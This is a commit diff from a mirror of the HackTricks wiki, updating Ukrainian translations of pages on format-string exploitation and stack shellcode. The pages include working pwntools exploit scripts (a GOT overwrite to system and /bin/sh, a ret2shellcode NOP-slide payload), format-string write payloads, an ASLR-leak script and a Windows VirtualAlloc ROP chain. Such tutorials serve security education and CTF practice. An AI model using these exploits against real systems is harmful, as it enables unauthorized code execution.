mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/ar
This commit is contained in:
parent
bb52e700a6
commit
816a920f22
@ -234,6 +234,7 @@
|
|||||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||||
|
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||||
|
|||||||
@ -1,17 +1,17 @@
|
|||||||
# Форматні рядки
|
# Format Strings
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## Основна інформація
|
## Основна інформація
|
||||||
|
|
||||||
У C **`printf`** - це функція, яка може бути використана для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирцевий текст з форматами**. **Наступні параметри** - це **значення**, які потрібно **підставити** в **формати** з сирцевого тексту.
|
У C **`printf`** — функція, яка використовується для **виведення** рядка. **Перший параметр**, який ця функція очікує — це **сирий текст з форматними специфікаторами**. **Наступні параметри**, які очікуються — це **значення**, щоб **підставити** **форматні специфікатори** зі сирого тексту.
|
||||||
|
|
||||||
Інші вразливі функції - це **`sprintf()`** та **`fprintf()`**.
|
Інші вразливі функції — **`sprintf()`** та **`fprintf()`**.
|
||||||
|
|
||||||
Вразливість виникає, коли **текст зловмисника використовується як перший аргумент** для цієї функції. Зловмисник зможе створити **спеціальний вхід, що зловживає** можливостями **форматного рядка printf** для читання та **запису будь-яких даних за будь-якою адресою (читабельна/записувана)**. Таким чином, маючи можливість **виконувати довільний код**.
|
Вразливість виникає, коли **текст зловмисника використовується як перший аргумент** цієї функції. Зловмисник зможе створити **спеціальний вхід, що зловживає** можливостями **printf format** string, щоб читати і **записувати будь-які дані за будь-якою адресою (доступною для читання/запису)**. Таким чином можна **виконувати довільний код**.
|
||||||
|
|
||||||
#### Формати:
|
#### Форматні специфікатори:
|
||||||
```bash
|
```bash
|
||||||
%08x —> 8 hex bytes
|
%08x —> 8 hex bytes
|
||||||
%d —> Entire
|
%d —> Entire
|
||||||
@ -54,26 +54,26 @@ return 0;
|
|||||||
```
|
```
|
||||||
### **Доступ до вказівників**
|
### **Доступ до вказівників**
|
||||||
|
|
||||||
Формат **`%<n>$x`**, де `n` - це число, дозволяє вказати printf вибрати n параметр (з стеку). Тож, якщо ви хочете прочитати 4-й параметр зі стеку, використовуючи printf, ви можете зробити:
|
Формат **`%<n>$x`**, де `n` — число, дозволяє вказати printf вибрати n-тий параметр (зі стеку). Тому, якщо ви хочете прочитати 4-й параметр зі стеку за допомогою printf, ви можете зробити:
|
||||||
```c
|
```c
|
||||||
printf("%x %x %x %x")
|
printf("%x %x %x %x")
|
||||||
```
|
```
|
||||||
і ви б читали з першого до четвертого параметра.
|
і ви б читали з першого по четвертий параметр.
|
||||||
|
|
||||||
Або ви могли б зробити:
|
Або ви можете зробити:
|
||||||
```c
|
```c
|
||||||
printf("%4$x")
|
printf("%4$x")
|
||||||
```
|
```
|
||||||
і безпосередньо прочитати четверте.
|
і прочитати безпосередньо четвертий.
|
||||||
|
|
||||||
Зверніть увагу, що атакуючий контролює параметр `printf`, **що в основному означає, що** його введення буде в стеку, коли викликається `printf`, що означає, що він може записувати конкретні адреси пам'яті в стек.
|
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Атакуючий, який контролює цей ввід, зможе **додати довільну адресу в стек і змусити `printf` отримати доступ до них**. У наступному розділі буде пояснено, як використовувати цю поведінку.
|
> Attacker, який контролює цей input, зможе **add arbitrary address in the stack and make `printf` access them**. У наступному розділі буде пояснено, як використати цю поведінку.
|
||||||
|
|
||||||
## **Довільне Читання**
|
## **Arbitrary Read**
|
||||||
|
|
||||||
Можна використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться на **n позиції**, слідуючи за нею, і **друкувати її так, ніби це рядок** (друкувати, поки не буде знайдено 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що ввід користувача починається на 4-й позиції в стеці, можна надрукувати початок бінарного файлу за допомогою:
|
Можна використати форматер **`%n$s`**, щоб змусити **`printf`** отримати **address** розташовану на **n position**, перейти за нею й **print it as if it was a string** (виводиться до першого 0x00). Отже, якщо базова address бінарника — **`0x8048000`**, і ми знаємо, що user input починається на 4th позиції в stack, можна надрукувати початок бінарника за допомогою:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -87,15 +87,15 @@ p.sendline(payload)
|
|||||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||||
```
|
```
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Зверніть увагу, що ви не можете поставити адресу 0x8048000 на початку введення, оскільки рядок буде обірвано на 0x00 в кінці цієї адреси.
|
> Зауважте, що ви не можете помістити адресу 0x8048000 на початок вводу, оскільки рядок буде обірваний 0x00 в кінці цієї адреси.
|
||||||
|
|
||||||
### Знайти зсув
|
### Find offset
|
||||||
|
|
||||||
Щоб знайти зсув для вашого введення, ви можете надіслати 4 або 8 байтів (`0x41414141`), за якими слідує **`%1$x`** і **збільшувати** значення, поки не отримаєте `A's`.
|
Щоб знайти offset вашого вводу, ви можете надіслати 4 або 8 байтів (`0x41414141`) з наступним **`%1$x`** і **збільшувати** значення, доки не отримаєте `A's`.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Брутфорс зсуву printf</summary>
|
<summary>Brute Force printf offset</summary>
|
||||||
```python
|
```python
|
||||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||||
|
|
||||||
@ -126,45 +126,45 @@ p.close()
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Як це корисно
|
### Наскільки корисно
|
||||||
|
|
||||||
Випадкові читання можуть бути корисними для:
|
Arbitrary reads можуть бути корисними для:
|
||||||
|
|
||||||
- **Вивантаження** **бінарного** файлу з пам'яті
|
- **Dump** the **binary** з пам'яті
|
||||||
- **Доступу до конкретних частин пам'яті, де зберігається чутлива** **інформація** (як-от канарейки, ключі шифрування або користувацькі паролі, як у цьому [**CTF виклику**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
- **Access specific parts of memory where sensitive** **info** зберігається (наприклад, canaries, encryption keys або custom passwords як у цьому [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||||
|
|
||||||
## **Випадкове записування**
|
## **Arbitrary Write**
|
||||||
|
|
||||||
Форматер **`%<num>$n`** **записує** **кількість записаних байтів** у **вказану адресу** в параметрі \<num> у стеку. Якщо зловмисник може записати стільки символів, скільки захоче, використовуючи printf, він зможе змусити **`%<num>$n`** записати випадкове число в випадкову адресу.
|
Форматтер **`%<num>$n`** **записує** **кількість записаних байтів** за **вказаною адресою**, яка знаходиться в параметрі <num> на стеку. Якщо атакуючий може записати стільки символів, скільки захоче через printf, він зможе змусити **`%<num>$n`** записати довільне число в довільну адресу.
|
||||||
|
|
||||||
На щастя, щоб записати число 9999, не потрібно додавати 9999 "A" до введення, для цього можна використовувати форматер **`%.<num-write>%<num>$n`**, щоб записати число **`<num-write>`** у **адресу, на яку вказує позиція `num`**.
|
На щастя, щоб записати число 9999, не потрібно додавати 9999 "A" у ввідні дані; натомість можна використовувати форматтер **`%.<num-write>%<num>$n`** щоб записати число **`<num-write>`** за **адресою, на яку вказує позиція `num`**.
|
||||||
```bash
|
```bash
|
||||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||||
AAAA.%500\$08x —> Param at offset 500
|
AAAA.%500\$08x —> Param at offset 500
|
||||||
```
|
```
|
||||||
Однак зверніть увагу, що зазвичай для запису адреси, такої як `0x08049724` (що є ВЕЛИЧЕЗНИМ числом для запису одночасно), **використовується `$hn`** замість `$n`. Це дозволяє **записати лише 2 байти**. Тому ця операція виконується двічі: спочатку для найвищих 2 байтів адреси, а потім для найнижчих.
|
Однак зауважте, що зазвичай, щоб записати адресу, наприклад `0x08049724` (яка є ДУЖЕ ВЕЛИКОЮ для запису одразу), **використовується `$hn`** замість `$n`. Це дозволяє **записати лише 2 байти**. Тому ця операція виконується двічі: один раз для старших 2 байтів адреси і ще раз для молодших.
|
||||||
|
|
||||||
Отже, ця вразливість дозволяє **записувати що завгодно в будь-яку адресу (произвольний запис).**
|
Отже, ця вразливість дозволяє **записати будь-що в будь-яку адресу (arbitrary write).**
|
||||||
|
|
||||||
У цьому прикладі метою буде **перезаписати** **адресу** **функції** в таблиці **GOT**, яка буде викликана пізніше. Хоча це може зловживати іншими техніками произвольного запису для виконання:
|
У цьому прикладі мета—**перезаписати** **адресу** **функції** в таблиці **GOT**, яка буде викликана пізніше. Хоча можна також використати інші arbitrary write to exec techniques:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../arbitrary-write-2-exec/
|
../arbitrary-write-2-exec/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Ми збираємося **перезаписати** **функцію**, яка **отримує** свої **аргументи** від **користувача** і **вказати** її на **функцію** **`system`**.\
|
Ми збираємося **перезаписати** **функцію**, яка **отримує** свої **аргументи** від **користувача**, і **вказати** її на **функцію** **`system`**.\
|
||||||
Як згадувалося, для запису адреси зазвичай потрібно 2 кроки: спочатку ви **записуєте 2 байти** адреси, а потім інші 2. Для цього використовується **`$hn`**.
|
Як уже згадувалося, щоб записати адресу зазвичай потрібно 2 кроки: спочатку ви **записуєте 2 байти** адреси, а потім інші 2. Для цього використовується **`$hn`**.
|
||||||
|
|
||||||
- **HOB** називається для 2 вищих байтів адреси
|
- **HOB** відповідає за 2 старші байти адреси
|
||||||
- **LOB** називається для 2 нижчих байтів адреси
|
- **LOB** відповідає за 2 молодші байти адреси
|
||||||
|
|
||||||
Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB\], а потім інший.
|
Через особливості роботи format string потрібно спочатку **записати менший** з \[HOB, LOB], а потім інший.
|
||||||
|
|
||||||
Якщо HOB < LOB\
|
If HOB < LOB\
|
||||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||||
|
|
||||||
Якщо HOB > LOB\
|
If HOB > LOB\
|
||||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||||
|
|
||||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||||
@ -173,14 +173,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
|||||||
```
|
```
|
||||||
### Pwntools Template
|
### Pwntools Template
|
||||||
|
|
||||||
Ви можете знайти **шаблон** для підготовки експлойту для цього типу вразливості в:
|
Ви можете знайти **шаблон**, щоб підготувати exploit для цього типу вразливості в:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
format-strings-template.md
|
format-strings-template.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Або цей базовий приклад з [**тут**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
Або цей базовий приклад з [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -199,20 +199,61 @@ p.sendline('/bin/sh')
|
|||||||
|
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
## Форматні рядки до BOF
|
## Format Strings to BOF
|
||||||
|
|
||||||
Можливо зловживати діями запису вразливості форматного рядка, щоб **записувати в адреси стеку** та експлуатувати вразливість типу **переповнення буфера**.
|
Можна зловживати діями запису format string vulnerability, щоб **write in addresses of the stack** та експлуатувати уразливість типу **buffer overflow**.
|
||||||
|
|
||||||
## Інші приклади та посилання
|
|
||||||
|
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||||
|
|
||||||
|
На Windows x64 перші чотири integer/pointer параметри передаються в регістри: RCX, RDX, R8, R9. У багатьох buggy call-sites attacker-controlled string використовується як format argument, але variadic arguments не надаються, наприклад:
|
||||||
|
```c
|
||||||
|
// keyData is fully controlled by the client
|
||||||
|
// _snprintf(dst, len, fmt, ...)
|
||||||
|
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||||
|
```
|
||||||
|
Оскільки не передаються varargs, будь-яка конверсія на кшталт "%p", "%x", "%s" змусить CRT зчитати наступний variadic-аргумент з відповідного регістра. За Microsoft x64 calling convention перше таке зчитування для "%p" відбувається з R9. Будь-яке тимчасове значення, що знаходиться в R9 у момент виклику, буде надруковано. На практиці це часто призводить до витоку стабільного in-module pointer (наприклад, вказівник на локальний/глобальний об'єкт, раніше розміщений в R9 оточуючим кодом або callee-saved value), яке можна використати для відновлення module base та обходу ASLR.
|
||||||
|
|
||||||
|
Практичний робочий процес:
|
||||||
|
|
||||||
|
- Впровадьте нешкідливий формат, наприклад "%p " на самому початку рядка під контролем атакуючого, щоб перша конверсія виконалася до фільтрації.
|
||||||
|
- Захопіть витеклий вказівник, визначте статичний офсет цього об'єкта всередині модуля (шляхом зворотного аналізу з символами або локальною копією), і відновіть image base як `leak - known_offset`.
|
||||||
|
- Повторно використайте цю базу для обчислення абсолютних адрес для ROP gadgets та IAT entries віддалено.
|
||||||
|
|
||||||
|
Приклад (скорочений python):
|
||||||
|
```python
|
||||||
|
from pwn import remote
|
||||||
|
|
||||||
|
# Send an input that the vulnerable code will pass as the "format"
|
||||||
|
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||||
|
io = remote(HOST, 4141)
|
||||||
|
# ... drive protocol to reach the vulnerable snprintf ...
|
||||||
|
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||||
|
base = leaked - 0x20660 # module base = leak - offset
|
||||||
|
print(hex(leaked), hex(base))
|
||||||
|
```
|
||||||
|
Примітки:
|
||||||
|
- Точний зсув для віднімання знаходять один раз під час локального реверсингу й потім повторно використовують (same binary/version).
|
||||||
|
- Якщо "%p" не виводить дійсний вказівник з першої спроби, спробуйте інші специфікатори ("%llx", "%s") або кілька конверсій ("%p %p %p"), щоб промапити інші argument registers/stack.
|
||||||
|
- Цей патерн специфічний для Windows x64 calling convention та реалізацій printf-family, які читають неіснуючі varargs з регістрів, коли форматний рядок їх запитує.
|
||||||
|
|
||||||
|
Ця техніка надзвичайно корисна для bootstrap ROP на Windows сервісах, скомпільованих з ASLR та без очевидних memory disclosure primitives.
|
||||||
|
|
||||||
|
## Інші приклади & посилання
|
||||||
|
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||||
- 32 біт, без relro, без canary, nx, без pie, базове використання форматних рядків для витоку прапора зі стеку (немає потреби змінювати потік виконання)
|
- 32 bit, no relro, no canary, nx, no pie, базове використання format strings щоб leak flag зі stack (не потрібно змінювати потік виконання)
|
||||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||||
- 32 біт, relro, без canary, nx, без pie, форматний рядок для перезапису адреси `fflush` з функцією win (ret2win)
|
- 32 bit, relro, no canary, nx, no pie, format string щоб перезаписати адресу `fflush` на win function (ret2win)
|
||||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||||
- 32 біт, relro, без canary, nx, без pie, форматний рядок для запису адреси всередині main в `.fini_array` (щоб потік повертався ще раз) та запису адреси до `system` в таблиці GOT, що вказує на `strlen`. Коли потік повертається до main, `strlen` виконується з введенням користувача і вказує на `system`, він виконає передані команди.
|
- 32 bit, relro, no canary, nx, no pie, format string щоб записати адресу всередині main у `.fini_array` (так що потік виконання повертається ще раз) і записати адресу `system` у GOT для `strlen`. Коли потік повернеться в main, виклик `strlen` з ввідом користувача, але вказуючи на `system`, виконає передані команди.
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
|
||||||
|
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||||
|
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -2,13 +2,13 @@
|
|||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Basic Information
|
## Основна інформація
|
||||||
|
|
||||||
**Stack shellcode** - це техніка, що використовується в **binary exploitation**, де зловмисник записує shellcode в стек вразливої програми, а потім модифікує **Instruction Pointer (IP)** або **Extended Instruction Pointer (EIP)**, щоб вказати на місце розташування цього shellcode, що призводить до його виконання. Це класичний метод, що використовується для отримання несанкціонованого доступу або виконання довільних команд на цільовій системі. Ось розбір процесу, включаючи простий приклад на C та як ви можете написати відповідний експлойт, використовуючи Python з **pwntools**.
|
**Stack shellcode** — це техніка, що використовується в **binary exploitation**, коли зловмисник записує shellcode у стек вразливої програми, а потім змінює **Instruction Pointer (IP)** або **Extended Instruction Pointer (EIP)** так, щоб вони вказували на розташування цього shellcode, змушуючи його виконатися. Це класичний метод для отримання несанкціонованого доступу або виконання довільних команд на цільовій системі. Нижче розбивка процесу, включно з простим прикладом на C та тим, як можна написати відповідний експлоїт на Python з використанням **pwntools**.
|
||||||
|
|
||||||
### C Example: A Vulnerable Program
|
### C Example: Вразлива програма
|
||||||
|
|
||||||
Let's start with a simple example of a vulnerable C program:
|
Почнемо з простого прикладу вразливої програми на C:
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Ця програма вразлива до переповнення буфера через використання функції `gets()`.
|
Ця програма уразлива до buffer overflow через використання функції `gets()`.
|
||||||
|
|
||||||
### Компіляція
|
### Компіляція
|
||||||
|
|
||||||
Щоб скомпілювати цю програму, вимкнувши різні захисти (щоб змоделювати вразливе середовище), ви можете використати наступну команду:
|
Щоб скомпілювати цю програму, вимкнувши різні захисти (щоб змоделювати вразливе середовище), ви можете скористатися такою командою:
|
||||||
```sh
|
```sh
|
||||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||||
```
|
```
|
||||||
- `-fno-stack-protector`: Вимикає захист стеку.
|
- `-fno-stack-protector`: Вимикає захист стеку.
|
||||||
- `-z execstack`: Робить стек виконуваним, що необхідно для виконання shellcode, збереженого на стеку.
|
- `-z execstack`: Робить стек виконуваним, що необхідно для виконання shellcode, розміщеного в стеку.
|
||||||
- `-no-pie`: Вимикає Position Independent Executable, що полегшує прогнозування адреси пам'яті, де буде розташований наш shellcode.
|
- `-no-pie`: Вимикає Position Independent Executable, що полегшує передбачення адреси пам'яті, де буде розміщено наш shellcode.
|
||||||
- `-m32`: Компілірує програму як 32-бітний виконуваний файл, що часто використовується для спрощення розробки експлойтів.
|
- `-m32`: Компілює програму як 32-бітний виконуваний файл, часто використовується для простоти при розробці експлойтів.
|
||||||
|
|
||||||
### Python Exploit using Pwntools
|
### Python експлойт з використанням Pwntools
|
||||||
|
|
||||||
Ось як ви можете написати експлойт на Python, використовуючи **pwntools** для виконання атаки **ret2shellcode**:
|
Ось як ви могли б написати експлойт на Python з використанням **pwntools** для виконання атаки **ret2shellcode**:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -66,26 +66,117 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
|||||||
p.sendline(payload)
|
p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
Цей скрипт створює корисне навантаження, що складається з **NOP слайду**, **shellcode** і потім перезаписує **EIP** адресою, що вказує на NOP слайд, забезпечуючи виконання shellcode.
|
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
|
||||||
|
|
||||||
**NOP слайд** (`asm('nop')`) використовується для збільшення ймовірності того, що виконання "зсуватиметься" до нашого shellcode, незалежно від точної адреси. Налаштуйте аргумент `p32()` на початкову адресу вашого буфера плюс зсув, щоб потрапити в NOP слайд.
|
Скрипт будує payload, що складається з **NOP slide**, **shellcode**, а потім перезаписує **EIP** адресою, що вказує на NOP slide, забезпечуючи виконання shellcode.
|
||||||
|
|
||||||
## Захист
|
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
|
||||||
|
|
||||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **повинен бути вимкнений** для того, щоб адреса була надійною під час виконання, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win.
|
**NOP slide** (`asm('nop')`) використовується для збільшення ймовірності, що виконання "провалиться" у наш shellcode незалежно від точної адреси. Відрегулюйте аргумент `p32()` до початкової адреси вашого буфера плюс офсет, щоб потрапити в NOP slide.
|
||||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
|
|
||||||
- Захист **NX** (недоступний для виконання) [**stack**](../../common-binary-protections-and-bypasses/no-exec-nx.md) завадить виконанню shellcode всередині стеку, оскільки цей регіон не буде виконуваним.
|
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||||
|
|
||||||
|
On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
|
||||||
|
|
||||||
|
На сучасних Windows стек не є виконуваним (DEP/NX). Поширений спосіб все ж виконати stack-resident shellcode після stack BOF — побудувати 64-bit ROP chain, який викликає VirtualAlloc (або VirtualProtect) з Import Address Table (IAT) модуля, щоб зробити регіон стеку виконуваним, а потім повернутися в shellcode, доданий після ланцюжка.
|
||||||
|
|
||||||
|
Key points (Win64 calling convention):
|
||||||
|
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||||
|
- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload
|
||||||
|
- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000)
|
||||||
|
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||||
|
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||||
|
- Return directly into the shellcode placed right after the chain.
|
||||||
|
|
||||||
|
Ключові моменти (Win64 calling convention):
|
||||||
|
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||||
|
- RCX = lpAddress → виберіть адресу у поточному стеку (наприклад, RSP), щоб новостворений RWX регіон перекривав ваш payload
|
||||||
|
- RDX = dwSize → достатньо великий для вашого chain + shellcode (наприклад, 0x1000)
|
||||||
|
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||||
|
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||||
|
- Повернення безпосередньо в shellcode, розташований відразу після chain.
|
||||||
|
|
||||||
|
Minimal strategy:
|
||||||
|
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
|
||||||
|
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
|
||||||
|
3) Place stage-2 shellcode immediately after the chain.
|
||||||
|
|
||||||
|
Мінімальна стратегія:
|
||||||
|
1) Leak базу модуля (наприклад, через format-string, object pointer тощо), щоб обчислити абсолютні адреси гаджетів та IAT під ASLR.
|
||||||
|
2) Знайдіть гаджети для завантаження RCX/RDX/R8/R9 (послідовності на базі pop або mov/xor) та виклик/cjmp [VirtualAlloc@IAT]. Якщо відсутні прямі pop r8/r9, використайте арифметичні гаджети для синтезу констант (наприклад, встановіть r8=0 і багаторазово додавайте r9=0x40 сорок разів, щоб отримати 0x1000).
|
||||||
|
3) Розмістіть stage-2 shellcode відразу після chain.
|
||||||
|
|
||||||
|
Example layout (conceptual):
|
||||||
|
```
|
||||||
|
# ... padding up to saved RIP ...
|
||||||
|
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||||
|
POP_R9_RET; 0x40
|
||||||
|
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||||
|
POP_R8_RET; 0x1000
|
||||||
|
# RCX = &stack (lpAddress)
|
||||||
|
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||||
|
# RDX = size (dwSize)
|
||||||
|
POP_RDX_RET; 0x1000
|
||||||
|
# Call VirtualAlloc via the IAT
|
||||||
|
[IAT_VirtualAlloc]
|
||||||
|
# New RWX memory at RCX — execution continues at the next stack qword
|
||||||
|
JMP_SHELLCODE_OR_RET
|
||||||
|
# ---- stage-2 shellcode (x64) ----
|
||||||
|
```
|
||||||
|
За допомогою constrained gadget set можна опосередковано сформувати значення регістрів, наприклад:
|
||||||
|
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → встановлює r9 з rbx, зануляє r8 та компенсує стек одним junk qword.
|
||||||
|
- xor rbx, rsp; ret → ініціалізує rbx поточним значенням RSP.
|
||||||
|
- push rbx; pop rax; mov rcx, rax; ret → переміщує значення, отримане з RSP, у RCX.
|
||||||
|
|
||||||
|
